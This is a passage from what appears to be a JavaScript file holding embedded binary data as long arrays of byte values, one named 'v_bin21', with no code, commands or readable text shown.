197,123,192,141,39,135,121,134,74,176,201,141,138,249,78,78,196,206,169,231,164,7,138,54,186,101,227,110,138,181,25,182,64,130,139,16,51,234,99,174,17,71,214,48,45,239,26,96,3,183,46,164,123,136,82,78,63,107,8,73,80,36,164,110,16,152,218,38,133,238,103,201,25,107,69,224,47,18,222,254,112,156,77,54,28,96,75,197,249,196,104,129,101,228,241,43,44,189,126,223,229,234,82,33,153,13,182,11,182,64,119,127,200,119,134,72,116,116,43,197,128,198,245,10,232,158,8,176,190,163,74,95,36,252,171,43,135,238,153,52,148,40,146,171,26,74,179,228,61,34,190,74,170,187,198,82,25,250,121,174,6,124,210,141,34,78,39,176,42,216,70,252,43,80,175,154,120,5,72,56,160,212,19,64,198,14,144,26,5,104,3,128,110,31,76,104,133,16,52,77,34,86,67,147,144,33,236,14,24,227,229,31,140,206,14,21,112,95,23,135,149,10,14,142,209,13,14,78,167,114,131,10,159,138,35,117,129,133,45,248,212,59,58,80,118,170,82,143,69,69,145,57,46,144,219,188,95,201,52,106,167,51,117,160,92,232,130,192,186,97,111,47,53,94,135,84,179,182,117,218,27,33,218,161,142,15,129,229,98,65,146,245,6,227,52,91,96,247,181,115,179,81,21,17,20,230,234,21,166,191,135,98,62,194,191,89,144,161,99,118,253,158,84,15,148,221,200,7,229,239,209,196,100,206,128,165,139,69,227,94,179,213,66,179,160,47,221,133,71,221,75,151,12,172,36,123,164,205,129,232,186,77,134,13,206,88,201,179,124,30,109,202,112,122,38,171,244,118,234,181,121,225,145,162,247,172,78,159,70,197,144,149,162,112,61,135,102,114,126,243,171,120,189,102,203,200,253,32,71,139,59,135,91,78,24,89,13,204,63,58,101,105,230,42,91,217,198,221,101,66,202,195,217,70,12,111,245,172,86,40,88,110,106,60,160,91,84,126,7,31,143,85,166,136,249,172,238,235,72,159,100,19,214,194,131,187,115,203,152,207,190,167,229,132,53,155,221,91,160,148,186,207,165,129,110,117,112,140,180,99,75,214,73,24,59,222,115,13,228,69,164,78,185,209,37,74,207,122,77,68,225,221,56,47,45,172,235,75,206,234,97,99,23,135,83,232,170,97,116,37,234,223,83,246,95,251,227,162,13,196,16,198,170,39,33,72,162,114,66,182,13,44,173,209,140,253,65,94,90,95,0,54,108,168,88,119,179,207,149,223,27,5,80,55,211,193,83,224,38,213,186,168,180,245,183,22,7,242,173,23,219,219,31,213,243,190,116,178,25,147,109,3,148,170,96,12,95,24,70,53,207,208,108,134,255,199,165,47,133,198,158,164,67,130,60,180,165,178,187,211,4,175,227,248,156,139,37,102,40,47,59,251,171,228,125,176,108,150,231,234,56,117,105,138,90,140,40,105,135,14,35,30,14,134,201,117,74,54,213,42,138,240,232,225,249,250,149,46,171,232,117,32,8,44,23,6,5,49,248,60,230,25,100,92,155,164,9,232,141,69,69,233,110,86,140,110,111,51,134,235,6,239,177,123,46,242,92,199,80,172,70,140,153,153,47,33,104,189,17,48,212,65,173,240,208,58,151,164,103,30,137,146,18,110,125,44,250,117,109,68,163,115,86,89,20,116,251,240,91,7,182,9,141,252,117,33,228,26,186,157,217,63,187,134,40,96,124,103,102,124,4,230,51,84,187,32,168,127,231,254,162,96,63,102,168,172,247,6,205,206,89,178,104,245,215,232,221,127,80,208,11,30,37,63,176,185,80,60,235,239,62,32,178,222,60,251,137,88,209,123,247,204,226,117,56,93,26,237,97,83,5,227,167,247,26,195,219,52,179,108,219,107,190,147,94,104,38,167,66,204,86,210,170,8];
var v_bin21 = [88,43,142,93,108,184,76,28,145,46,241,130,22,36,107,216,218,245,103,205,51,81,12,135,219,67,177,139,35,74,4,148,226,71,74,133,214,114,50,204,200,117,168,156,227,116,242,91,143,209,90,120,58,175,109,228,147,85,62,60,205,228,2,33,11,108,20,179,126,242,142,75,34,117,114,170,46,113,134,27,50,66,29,17,236,129,161,71,201,237,3,68,36,245,182,184,75,242,124,217,26,217,144,94,46,123,235,56,44,15,167,57,214,108,156,88,29,121,241,8,227,58,254,174,95,122,107,95,114,140,70,99,42,53,29,95,170,27,39,224,250,223,55,64,34,21,181,9,56,204,42,181,107,0,68,8,52,115,135,106,66,15,237,206,214,236,135,142,120,80,44,23,215,182,39,201,69,226,154,166,116,42,237,26,253,218,165,181,101,14,193,112,16,186,89,248,243,183,203,30,134,44,253,214,94,199,210,57,23,88,52,118,72,86,226,180,7,76,215,58,17,99,125,67,193,107,80,153,79,30,112,88,49,196,199,203,243,241,22,152,167,32,239,223,176,49,61,131,247,54,183,28,202,110,167,90,20,73,69,170,5,84,89,253,28,230,210,114,163,141,30,176,78,162,167,234,135,87,71,127,50,76,77,134,16,236,108,168,236,223,163,57,198,238,89,69,145,250,229,69,60,222,55,171,212,189,64,14,4,204,97,248,15,156,45,196,236,219,117,21,12,26,219,161,72,27,43,19,240,37,149,29,240,75,220,68,117,154,44,123,163,227,45,7,171,52,184,148,13,119,241,164,206,0,206,124,197,252,131,40,125,84,240,5,154,123,235,81,2,181,149,214,129,113,235,124,246,3,82,137,116,28,212,67,160,31,65,57,179,6,189,226,154,146,237,71,56,127,39,51,45,169,70,5,18,137,206,235,35,226,201,77,136,160,149,160,111,154,119,248,195,120,40,232,97,228,82,11,210,94,2,20,159,96,141,230,240,80,85,79,148,20,27,72,28,127,18,6,214,188,130,180,208,163,215,137,192,80,104,155,137,231,167,28,126,85,236,163,213,247,156,154,76,40,190,102,96,90,11,220,232,38,202,226,179,190,215,6,4,55,96,57,78,138,22,146,10,148,100,9,48,240,242,249,33,28,178,217,110,224,56,164,2,11,56,66,99,76,180,41,130,149,81,85,87,221,138,33,126,34,170,27,176,248,172,28,110,45,115,49,178,3,43,33,105,137,25,237,87,87,205,220,137,238,171,141,72,247,218,129,161,204,112,44,76,43,210,25,174,104,175,118,34,185,21,79,168,162,187,96,154,167,99,247,132,13,209,116,213,44,171,252,31,173,3,141,113,21,177,120,164,108,35,225,107,34,135,117,234,53,210,56,208,112,131,234,220,178,254,13,30,74,62,80,205,245,47,248,219,255,208,114,93,84,13,253,138,210,44,155,122,56,21,223,224,35,43,20,168,5,89,160,250,3,170,176,223,62,121,129,51,68,248,61,110,195,150,36,58,225,107,253,84,20,27,45,73,60,20,25,47,48,230,146,231,88,79,105,171,208,209,194,176,106,34,198,121,182,167,155,59,178,252,191,63,28,171,135,39,151,232,37,133,219,250,83,211,150,218,98,172,122,13,248,36,119,109,84,228,0,64,72,77,205,54,115,104,226,153,24,16,135,13,237,216,8,150,161,155,135,10,201,1,42,190,48,28,137,96,235,121,160,109,134,200,184,31,113,153,172,59,110,172,15,177,189,181,120,144,10,239,53,219,93,174,27,16,163,87,28,162,167,215,6,239,175,210,176,145,70,96,40,214,172,165,196,102,213,244,225,124,6,96,229,42,14,180,138,148,16,238,41,14,123,37,203,108,116,213,117,154,129,72,0,183,58,74,195,242,167,217,24,71,233,134,248,102,124,236,108,5,25,138,133,155,26,63,208,152,51,242,228,38,178,122,219,106,31,47,170,66,184,199,125,99,61,34,94,235,52,170,9,118,18,196,146,87,225,30,49,184,120,168,215,124,86,255,34,215,184,84,68,193,7,111,20,45,132,73,90,157,200,26,245,109,186,229,138,52,236,206,252,163,178,90,65,83,148,148,59,58,217,85,250,81,229,210,65,61,171,142,92,123,88,166,200,23,113,13,171,203,229,224,201,103,114,184,37,137,31,119,61,195,44,203,35,220,72,150,173,95,12,87,126,213,147,230,234,125,12,237,26,14,59,211,172,220,85,166,125,136,55,238,211,183,174,173,122,219,240,169,21,37,132,217,210,197,32,29,185,28,58,116,122,205,66,68,194,194,17,0,64,98,103,1,28,118,89,57,199,168,9,165,78,198,209,254,169,163,164,137,81,169,89,11,42,27,154,66,101,206,25,5,0,68,222,211,170,182,94,20,184,121,69,48,160,27,67,103,99,16,34,117,180,219,159,27,234,83,2,20,183,180,93,132,10,226,177,38,24,227,121,62,89,43,48,166,21,210,46,164,10,104,22,210,17,107,149,216,194,114,44,159,25,112,83,0,143,10,108,103,73,40,65,67,169,20,35,184,216,112,35,32,9,117,32,89,204,78,39,51,60,122,249,135,138,249,21,16,112,227,5,97,19,208,127,19,240,103,201,99,209,65,33,44,12,191,209,65,42,217,181,42,230,41,147,74,149,76,161,65,25,225,195,197,191,179,28,121,135,251,150,34,172,13,82,43,187,184,226,8,114,161,205,72,203,36,44,67,122,234,217,159,195,21,13,247,123,250,67,101,226,18,90,159,23,158,144,8,51,102,69,30,84,61,166,176,115,227,125,234,246,86,208,222,62,176,180,137,119,151,102,60,108,202,242,91,121,48,75,255,208,52,166,88,135,45,223,35,204,242,5,247,202,84,16,103,104,115,104,57,117,141,211,114,108,119,73,202,122,169,62,29,134,92,132,132,100,41,24,184,217,42,42,27,171,187,186,255,243,214,109,167,245,254,215,196,100,171,234,237,8,144,41,109,114,141,225,148,122,251,68,143,5,117,254,97,208,212,203,135,18,6,79,171,119,57,49,156,190,0,163,227,152,185,75,49,183,158,116,37,251,130,218,162,7,136,232,104,206,252,13,73,174,8,192,152,122,116,95,93,219,180,225,179,170,118,118,61,119,10,14,238,59,82,218,103,158,24,223,127,54,69,219,34,147,39,175,250,231,42,65,4,143,231,248,41,66,33,162,31,173,49,79,22,71,142,117,25,123,119,186,85,82,197,31,176,153,217,114,71,188,226,84,253,87,246,159,83,208,80,141,92,196,106,23,253,77,130,190,235,210,15,140,76,69,177,82,253,16,9,254,153,253,54,25,86,248,122,146,104,249,143,149,102,102,58,136,73,7,1,20,28,168,33,95,12,167,118,77,249,136,27,154,35,11,181,129,39,135,60,57,23,41,94,144,22,118,131,114,103,12,101,22,152,242,246,232,105,125,50,45,218,185,23,105,186,245,182,137,109,21,122,38,206,143,176,246,180,165,234,49,201,90,191,163,30,66,170,75,58,206,35,42,121,164,46,21,20,49,154,61,164,89,97,130,4,99,107,190,47,242,109,16,60,135,229,224,193,160,72,118,222,216,241,243,88,106,65,59,181,64,215,90,184,119,84,156,89,179,149,173,183,179,117,189,240,254,42,167,18,164,102,71,99,229,56,244,189,104,241,235,223,47,94,89,54,12,48,211,75,139,74,239,131,155,107,48,48,15,220,46,253,54,0,184,234,82,42,65,174,172,164,13,31,57,120,248,171,127,88,53,63,122,158,127,49,105,7,86,145,155,29,240,95,16,102,109,23,195,5,32,193,142,179,95,235,70,166,138,243,150,94,122,245,88,134,20,228,195,134,146,161,108,97,174,23,200,181,19,83,249,148,150,32,169,236,102,40,68,180,9,158,91,254,193,81,175,170,4,158,86,213,98,161,123,166,244,249,54,169,223,118,192,163,17,139,232,98,92,18,235,59,72,1,22,82,219,255,123,254,181,71,35,190,79,49,63,51,97,74,48,159,39,34,182,221,150,54,236,225,78,3,59,85,88,57,85,74,0,148,128,106,255,133,223,62,43,129,18,178,57,39,14,77,118,240,214,31,83,143,62,59,27,63,227,34,230,149,72,15,225,244,232,118,255,99,109,208,184,210,48,196,125,211,135,247,63,8,226,77,134,139,140,216,57,173,174,117,2,154,149,210,93,147,208,57,61,31,179,184,60,194,239,1,221,137,129,223,3,140,140,242,49,175,214,110,27,24,212,30,207,238,98,60,27,40,168,69,174,3,157,52,164,241,175,5,41,159,184,172,228,250,236,117,21,39,91,138,13,105,196,244,228,83,115,45,151,220,122,44,240,230,74,48,179,157,175,131,131,170,139,100,145,107,71,39,234,124,200,213,232,29,185,206,0,134,140,9,184,170,114,100,130,17,149,178,217,224,103,119,205,244,132,193,110,182,228,113,95,91,178,44,98,118,160,211,204,221,237,209,57,179,124,120,110,153,28,166,57,74,24,162,23,234,172,5,52,115,235,138,77,90,108,172,202,117,209,122,194,66,94,185,132,120,68,80,108,210,138,108,98,132,112,106,215,173,131,92,110,54,43,3,239,207,196,33,26,149,252,207,54,74,114,107,47,200,168,228,66,161,224,218,173,197,121,40,179,147,185,195,173,253,136,51,220,242,235,247,195,141,52,120,66,14,97,109,240,249,105,248,137,205,161,69,38,102,73,89,161,41,10,247,147,73,38,205,151,148,195,10,110,72,181,64,10,94,19,12,220,227,99,126,158,93,1,229,99,188,227,97,202,17,254,195,81,106,81,158,54,248,221,13,111,68,211,80,205,199,182,252,234,125,226,252,252,255,1,85,246,181,117,245,222,21,153,19,27,169,100,200,35,160,62,242,197,81,153,235,55,141,125,178,117,7,154,251,84,40,25,199,246,11,226,183,66,16,231,145,190,37,216,84,139,45,160,73,119,34,95,5,185,200,95,172,16,204,233,242,84,2,219,221,229,48,58,7,213,184,22,15,237,80,76,233,222,105,204,236,122,148,31,127,105,76,17,158,49,29,208,47,184,195,204,198,73,158,188,145,43,143,169,105,198,163,75,202,152,107,225,207,178,251,24,206,92,52,202,177,206,100,57,226,155,28,99,104,47,145,249,137,16,121,102,161,210,178,30,31,20,113,65,221,169,68,5,47,150,205,54,212,165,240,161,1,251,39,230,107,162,227,151,122,127,209,125,89,161,234,56,98,183,255,82,186,202,108,172,129,107,76,114,111,115,98,25,98,156,151,212,60,117,139,125,11,37,185,241,75,189,239,223,68,236,241,125,50,99,28,225,100,226,194,227,223,227,162,113,246,137,214,82,21,7,76,223,239,174,132,86,121,226,220,53,249,36,43,104,63,84,191,145,183,54,113,254,224,117,86,164,14,248,144,86,249,220,34,189,207,129,211,191,6,96,198,24,250,196,62,112,115,137,43,207,244,140,12,183,219,85,117,142,80,171,160,10,72,18,80,166,77,140,125,212,56,198,119,64,176,13,56,20,189,11,212,28,102,179,77,187,4,91,138,213,12,153,97,103,23,194,134,31,46,138,206,165,253,18,210,105,135,203,66,98,4,205,207,116,46,248,136,59,16,54,58,151,156,224,65,245,72,23,59,108,176,71,155,10,13,60,160,165,5,189,64,118,30,97,129,6,217,86,20,134,151,230,147,152,76,96,25,84,69,18,26,96,129,233,224,55,209,247,129,211,95,227,121,147,194,39,40,137,15,134,136,86,65,170,190,117,139,233,245,193,40,159,107,218,12,84,22,63,116,11,188,132,29,103,246,148,253,39,151,99,78,88,0,126,58,129,77,116,120,235,96,198,131,237,232,119,15,222,64,125,64,19,219,177,18,16,27,30,59,3,215,219,137,221,160,165,14,42,243,12,166,181,22,135,136,86,84,231,53,248,155,150,96,116,58,59,203,104,167,216,220,211,70,190,7,172,84,100,228,7,124,46,91,184,255,133,173,109,228,15,181,161,176,44,104,23,203,59,155,73,217,59,65,106,191,158,7,48,206,67,24,234,241,164,54,114,119,26,181,71,135,115,215,167,173,102,218,177,217,41,29,236,242,218,207,217,100,31,89,232,33,209,58,222,215,209,242,247,70,63,31,223,249,0,59,46,153,198,211,85,105,195,161,13,183,80,172,244,144,216,217,205,45,233,247,156,170,223,237,100,197,156,104,142,66,85,248,108,182,17,127,68,54,68,211,1,208,8,208,202,144,187,95,21,169,253,29,21,27,246,32,142,41,226,18,140,222,46,68,48,67,117,175,188,31,169,11,78,17,107,103,45,26,32,112,204,28,130,46,0,176,7,73,26,139,164,255,55,142,91,32,6,144,109,223,118,68,83,154,151,138,102,119,126,241,127,15,244,221,66,36,44,28,95,230,98,79,221,21,125,129,218,18,236,137,99,231,81,249,113,70,28,227,11,20,69,36,181,151,165,90,14,180,239,217,98,194,44,138,235,190,213,70,227,11,249,255,150,91,38,83,209,239,82,81,171,252,29,170,172,186,156,126,219,64,208,230,125,218,74,71,26,42,9,188,120,202,209,84,65,33,89,99,122,82,229,161,223,155,62,65,25,189,212,228,78,123,131,207,83,186,47,23,16,149,244,68,254,115,196,88,179,163,50,210,219,44,19,228,49,35,1,167,204,86,93,146,73,51,166,114,164,238,250,44,106,187,157,239,192,53,184,211,204,191,139,255,222,225,179,229,149,63,77,230,58,139,15,89,179,130,252,103,212,16,43,252,119,101,83,138,154,19,173,188,242,191,230,246,234,56,69,109,51,68,167,96,47,200,129,246,124,245,93,178,148,13,158,155,21,20,54,173,219,80,69,222,89,41,58,179,109,75,157,108,99,204,162,21,65,148,217,67,173,161,170,205,105,31,245,7,213,132,239,214,101,79,43,8,225,252,222,82,168,1,1,148,61,125,120,51,255,185,59,117,30,120,100,126,221,29,17,249,3,189,177,182,156,152,184,169,114,202,86,251,239,109,2,122,136,199,168,247,12,73,83,49,79,36,214,190,246,176,48,37,99,195,195,0,1,93,181,220,41,235,9,217,30,54,46,181,72,151,146,94,36,14,120,202,87,103,176,140,180,112,228,65,232,202,237,130,15,2,19,180,227,195,135,246,223,124,123,255,228,159,95,48,54,38,161,29,186,70,200,203,224,209,154,254,242,116,53,70,171,116,214,152,8,22,149,173,253,93,236,161,203,97,220,89,217,105,115,230,58,46,65,113,209,16,241,29,84,129,97,163,246,169,208,11,48,4,81,90,27,178,187,8,105,61,193,5,44,188,194,18,202,45,33,144,57,55,117,114,234,2,92,214,237,214,20,78,15,123,235,142,180,46,101,188,243,130,6,134,133,52,244,152,25,34,115,188,239,21,60,55,253,12,186,218,162,210,142,105,186,49,102,155,181,225,246,191,219,235,185,48,88,160,33,105,3,29,178,253,239,160,56,225,190,91,124,229,173,19,93,22,9,144,48,211,4,202,129,221,174,245,54,69,170,67,201,212,247,146,198,94,7,58,12,122,112,248,215,48,104,198,180,138,210,42,69,142,109,144,33,76,133,39,165,201,49,50,152,37,189,35,172,224,100,111,174,0,8,22,66,233,132,224,7,116,173,212,190,205,131,41,74,179,139,93,163,210,78,171,113,169,51,39,124,183,149,99,188,35,124,127,245,209,126,76,74,163,127,224,37,137,149,227,227,115,180,85,171,92,193,6,131,44,40,189,252,243,112,194,177,162,242,19,37,250,200,29,143,125,100,134,114,200,90,216,44,129,99,159,125,173,42,2,176,34,195,235,34,215,172,123,101,96,113,155,150,166,175,27,175,207,57,226,87,183,249,25,173,43,224,95,192,37,50,145,210,49,46,134,150,72,230,144,84,162,9,206,220,204,87,109,197,175,187,126,116,51,39,162,131,82,149,17,70,133,91,45,54,190,173,80,244,205,50,246,135,47,190,216,97,205,231,160,168,230,215,49,101,118,171,246,148,146,169,112,53,122,49,56,251,230,217,144,126,10,22,21,145,189,198,189,139,68,155,195,146,97,221,95,148,48,133,227,215,34,227,172,43,187,119,188,98,172,152,42,81,61,229,160,242,18,4,148,235,196,253,112,93,158,185,197,237,238,139,186,96,195,225,175,15,104,79,200,244,6,177,175,234,15,29,129,23,241,126,128,208,105,62,41,148,154,103,24,58,205,153,206,223,141,109,167,215,74,11,85,22,49,212,131,167,107,211,228,245,45,145,89,198,105,35,224,168,115,55,170,185,85,136,115,78,27,191,234,0,60,190,239,76,145,27,214,91,24,189,218,103,98,245,97,159,6,238,251,166,241,101,178,91,60,36,194,81,49,6,155,246,27,214,29,213,104,45,126,222,228,107,208,4,199,151,2,32,252,235,147,65,60,198,238,89,49,21,29,124,9,242,79,30,128,35,197,79,99,214,125,106,161,181,23,83,111,246,44,126,210,23,57,114,213,242,16,186,194,162,72,118,75,187,79,232,218,30,222,246,28,9,246,177,173,168,77,47,248,218,152,81,197,55,206,118,28,243,150,184,4,214,21,241,102,201,77,118,100,48,186,5,86,126,175,42,3,107,55,111,251,8,203,193,171,176,21,247,0,246,234,124,156,253,38,16,10,189,164,7,7,108,61,146,8,26,92,223,203,157,219,193,54,45,177,40,36,21,147,111,160,9,128,38,181,46,159,76,92,93,57,7,157,207,22,159,54,184,34,186,11,150,232,136,101,172,183,66,198,149,106,156,29,51,218,77,95,239,122,161,236,227,139,107,187,36,11,76,67,8,241,45,181,62,202,158,148,156,141,40,232,154,236,100,232,86,174,83,43,131,109,175,229,111,34,163,124,201,99,146,5,243,93,4,86,85,29,132,129,24,130,247,51,235,193,217,205,14,1,14,5,228,4,255,25,198,168,205,194,127,104,143,44,179,78,72,108,177,36,182,176,201,172,21,186,117,252,198,177,241,50,210,60,0,81,136,24,79,167,163,109,242,105,26,60,205,51,50,2,112,130,81,91,136,78,46,3,240,163,73,145,222,0,100,168,32,150,172,60,76,84,131,99,183,82,180,17,75,104,4,234,240,143,182,68,122,193,95,95,89,195,139,93,195,235,154,212,90,230,75,93,6,147,120,192,184,246,135,237,28,128,212,240,151,87,35,95,154,197,26,76,64,160,115,49,178,115,16,67,56,238,90,51,156,255,108,121,152,210,250,233,128,43,183,54,72,52,81,249,128,71,159,67,160,55,147,5,65,142,201,13,102,130,243,133,66,167,8,236,187,168,174,75,120,238,195,107,198,148,58,150,55,203,238,169,187,181,49,210,155,122,248,145,68,199,140,165,110,174,163,189,124,26,230,211,203,138,194,148,11,24,41,132,180,107,184,132,255,190,110,84,112,210,221,41,17,161,213,68,215,126,153,39,16,131,201,214,139,17,255,146,160,132,39,213,200,37,243,237,19,120,81,50,46,70,35,200,250,102,49,253,243,137,130,243,168,241,60,33,227,4,245,189,185,208,15,102,131,221,124,49,154,124,64,230,220,35,102,202,154,228,189,54,94,131,162,61,198,21,234,101,93,2,132,9,111,174,143,47,13,92,106,155,104,38,41,191,138,61,145,54,177,47,198,254,17,21,239,244,162,19,216,103,124,1,15,142,91,132,88,223,250,254,147,94,251,156,27,251,88,231,218,141,136,26,27,225,230,243,226,58,202,135,187,248,26,45,231,138,176,86,101,107,172,198,44,215,250,45,242,50,251,5,16,169,68,34,62,48,185,92,28,126,137,224,178,246,79,19,206,195,45,145,126,180,163,255,119,218,42,155,201,78,207,117,177,90,11,230,122,161,172,100,88,88,181,24,3,47,189,90,25,86,159,113,140,234,175,118,59,203,113,144,13,91,29,95,172,140,14,202,211,205,14,0,105,229,101,133,48,141,39,115,62,68,149,111,3,232,217,212,59,178,188,240,238,156,41,81,135,104,12,25,156,224,63,82,217,233,91,18,148,113,104,233,22,136,156,10,150,178,216,94,34,17,17,79,251,188,64,172,247,204,225,29,54,157,102,142,219,202,211,155,241,89,211,187,4,101,66,245,219,170,139,118,55,19,74,25,118,253,146,150,38,6,192,227,79,146,49,203,159,37,206,161,80,125,222,202,68,228,6,89,145,195,51,192,198,154,154,233,9,140,45,208,3,49,172,193,201,134,229,29,246,153,12,89,249,204,250,234,198,154,45,167,14,88,40,208,70,96,59,79,165,113,51,13,59,156,241,154,254,102,206,144,13,164,186,125,153,235,205,193,42,131,101,205,83,53,22,26,115,94,160,200,237,249,128,109,236,22,52,73,117,170,44,54,138,62,47,194,166,26,67,176,106,202,243,169,33,165,214,200,22,250,13,87,210,111,37,115,31,75,51,146,161,68,57,28,197,66,202,192,209,113,92,14,245,105,13,248,250,108,77,6,74,19,194,4,211,254,105,217,14,188,3,127,2,145,117,24,178,229,96,115,89,220,221,212,42,55,180,151,239,161,120,70,233,149,10,101,55,248,228,200,84,246,194,126,75,128,27,87,190,81,187,225,205,32,104,34,13,91,26,229,152,113,153,31,228,132,194,115,166,184,149,219,218,42,134,155,84,23,58,121,10,148,115,169,108,124,205,94,173,196,229,47,218,176,189,108,49,42,156,136,24,48,39,19,108,174,167,148,108,55,42,25,63,22,20,58,238,161,53,132,255,233,199,184,234,116,238,147,231,249,190,148,128,178,224,102,182,235,67,180,155,196,93,6,207,198,244,127,27,35,154,224,167,201,55,8,246,224,210,250,37,243,224,213,123,134,163,194,198,237,70,241,250,199,218,235,35,220,10,10,37,5,95,24,214,194,117,154,18,59,20,84,165,186,148,232,193,142,118,152,232,211,66,196,220,132,24,227,141,27,20,182,192,10,255,111,62,224,121,114,42,207,237,39,116,232,118,165,42,48,241,214,124,48,199,89,84,154,199,104,3,66,187,144,87,93,46,119,96,252,78,188,190,150,5,229,9,208,113,239,175,11,53,200,33,217,251,35,21,171,252,121,161,113,77,110,112,249,59,21,54,67,14,0,2,214,56,143,128,86,242,140,147,91,113,246,24,75,162,228,123,35,92,224,191,77,151,215,3,250,81,179,244,179,19,98,125,157,155,173,141,250,72,10,185,85,212,162,88,175,189,22,255,57,158,212,141,42,210,246,112,213,135,73,131,163,216,235,152,236,91,144,95,137,167,157,153,194,32,220,159,229,26,63,211,123,164,105,139,13,225,67,96,187,228,164,67,189,211,197,105,75,1,197,218,96,146,125,236,76,163,212,198,46,86,114,169,119,139,251,108,40,76,175,154,225,211,125,193,195,214,22,168,122,15,19,121,3,150,55,0,242,80,207,215,129,128,29,174,165,172,74,177,128,10,42,69,114,22,51,69,36,140,225,159,72,33,122,254,93,43,220,68,164,44,34,204,146,176,16,255,76,135,234,161,213,22,180,14,27,76,65,126,26,133,66,243,227,141,12,242,86,218,20,194,35,233,162,146,243,192,85,40,42,236,222,160,214,179,136,48,166,88,255,121,241,157,49,228,171,236,148,217,166,87,140,124,242,203,200,244,59,255,26,238,127,3,254,112,143,231,200,247,130,212,237,72,70,28,188,65,80,214,106,75,142,129,26,145,196,12,171,7,29,68,185,236,119,183,194,17,211,140,138,41,201,146,152,99,63,3,67,2,131,250,241,34,4,201,215,18,179,180,109,126,137,168,129,108,16,226,233,253,196,145,207,214,47,54,99,80,95,163,246,74,161,220,39,251,140,164,252,30,54,71,125,75,32,239,81,136,208,81,73,75,12,57,140,153,12,21,53,96,160,80,22,38,49,210,143,254,197,82,63,196,82,237,115,160,192,63,232,109,228,239,52,123,56,151,38,49,28,46,35,71,82,83,106,85,35,41,58,27,54,65,92,215,203,105,222,43,97,64,20,151,91,50,124,246,98,194,83,58,58,250,220,4,92,22,243,138,239,164,102,235,241,34,171,235,179,181,153,23,178,49,49,254,93,198,83,69,80,113,162,218,54,249,15,0,200,111,129,125,116,36,158,212,247,182,184,224,20,191,234,30,153,12,63,18,3,86,60,147,58,31,169,243,177,30,34,124,221,139,42,246,128,47,5,247,130,218,238,11,185,225,205,49,155,248,208,38,219,250,132,160,159,241,67,15,100,176,123,176,43,106,45,212,147,157,43,155,202,187,247,149,120,162,234,68,45,137,206,83,121,126,175,172,233,250,89,119,233,138,82,126,164,112,171,55,69,15,105,211,245,255,105,100,48,204,115,73,147,64,23,138,194,75,167,207,86,99,20,185,158,34,194,177,229,192,211,214,44,185,193,88,7,161,101,188,188,17,248,140,24,183,164,8,148,166,66,56,83,176,223,83,143,141,157,167,150,22,137,150,184,115,103,178,166,147,123,55,219,227,147,118,41,142,81,50,164,142,122,179,79,63,7,203,157,238,242,158,178,203,97,70,185,230,48,146,232,205,60,119,176,20,50,222,105,144,127,184,228,41,211,244,31,66,218,69,219,43,111,254,239,213,222,135,123,142,200,3,225,70,163,249,90,87,234,60,87,143,61,35,150,231,239,195,22,88,173,84,189,129,142,195,86,66,137,0,42,16,251,252,253,132,40,246,190,30,202,177,138,157,119,135,252,226,196,203,252,227,201,126,41,230,173,12,10,46,228,97,207,211,155,139,25,35,126,53,215,209,141,32,68,151,71,167,94,246,54,15,83,78,62,23,87,216,60,21,203,98,229,203,110,160,244,93,129,172,134,13,146,222,40,14,189,85,200,11,216,129,158,120,89,38,9,100,163,5,199,59,44,123,76,55,215,23,61,214,0,107,110,162,230,95,216,71,219,183,108,181,98,190,170,192,234,25,244,79,41,85,50,192,220,238,220,90,52,110,211,167,139,249,83,241,236,164,114,62,12,41,182,49,165,62,60,206,9,185,185,91,182,72,79,33,90,52,109,156,84,80,195,138,162,15,31,199,132,18,200,172,159,235,131,204,34,73,130,43,38,232,120,204,61,158,3,12,158,140,94,174,46,97,37,163,81,8,133,245,115,139,29,34,143,173,81,238,0,248,151,97,119,130,174,185,202,139,193,29,89,15,169,72,2,194,86,126,187,253,22,4,215,165,123,228,235,138,6,165,181,28,74,148,198,88,242,171,197,138,51,92,182,65,87,249,79,54,30,94,144,82,193,88,197,52,15,73,239,9,101,113,137,153,91,23,184,212,236,254,78,33,89,16,70,151,91,249,71,6,248,131,101,43,60,232,118,197,242,117,226,168,124,8,164,181,35,222,93,110,119,111,165,10,186,2,192,9,199,23,4,14,91,227,124,141,176,9,21,121,84,186,145,101,65,218,207,63,4,231,55,46,19,24,92,59,48,73,54,79,189,74,43,163,149,3,116,92,14,164,175,150,211,26,84,152,218,115,251,166,181,76,64,191,112,168,64,169,229,174,212,215,131,59,201,86,26,121,191,138,239,187,29,134,104,215,83,74,220,254,210,34,190,183,22,5,67,175,171,108,115,19,157,184,194,185,243,209,89,176,135,182,128,44,196,40,224,22,74,38,140,66,98,168,180,166,230,87,64,143,162,152,246,6,245,181,185,126,21,212,242,13,144,230,255,142,183,98,96,19,32,151,55,211,234,36,159,148,105,251,243,209,17,3,124,82,38,245,102,47,213,227,123,206,67,166,110,110,148,235,70,62,166,228,52,196,25,61,33,5,160,111,103,118,220,235,179,148,174,29,167,242,222,250,242,229,44,193,170,101,241,31,172,22,184,155,228,138,19,221,214,243,185,158,160,49,179,138,185,15,112,88,200,132,41,77,113,70,205,108,61,122,157,117,162,208,145,164,243,144,55,219,107,238,56,44,97,120,86,228,67,15,205,148,203,123,97,130,16,55,175,47,39,219,206,8,38,224,55,0,146,14,23,64,241,78,102,159,43,224,175,77,195,171,0,24,113,157,2,141,189,214,163,59,115,18,211,236,14,79,251,17,47,171,137,70,60,46,199,222,113,7,21,169,137,163,187,34,107,218,9,53,42,128,188,104,236,151,34,33,156,212,73,138,69,66,177,212,156,32,136,129,80,254,79,120,231,96,168,176,81,70,241,87,167,171,167,171,72,246,63,145,82,227,109,97,212,74,229,173,11,231,10,77,154,159,196,242,160,193,116,188,64,254,151,92,137,189,221,27,104,81,16,119,84,48,123,91,39,83,154,212,253,155,177,200,31,117,192,98,184,98,207,177,101,228,202,73,137,106,174,108,176,253,55,2,101,235,244,188,29,115,189,197,254,241,28,58,193,23,94,28,38,40,193,105,80,19,80,202,114,27,183,241,66,234,206,67,158,251,238,80,224,43,11,91,120,106,31,87,175,198,117,165,11,68,3,147,242,40,144,40,164,255,149,207,225,192,196,8,223,26,245,131,87,198,164,53,113,109,179,50,133,95,162,98,50,13,216,212,182,161,48,9,109,253,19,186,137,161,116,127,250,65,169,53,181,144,144,6,196,116,106,144,98,127,199,204,128,132,247,224,85,37,148,199,109,29,17,211,69,82,240,196,195,115,164,103,224,33,243,157,187,102,85,47,209,136,33,64,3,8,47,75,16,197,34,120,154,172,1,207,10,251,45,253,5,62,9,211,82,236,18,33,169,58,95,188,151,17,124,139,10,13,55,98,151,145,220,244,178,3,101,109,235,156,171,75,36,120,141,91,16,168,181,59,19,58,217,227,126,195,70,211,239,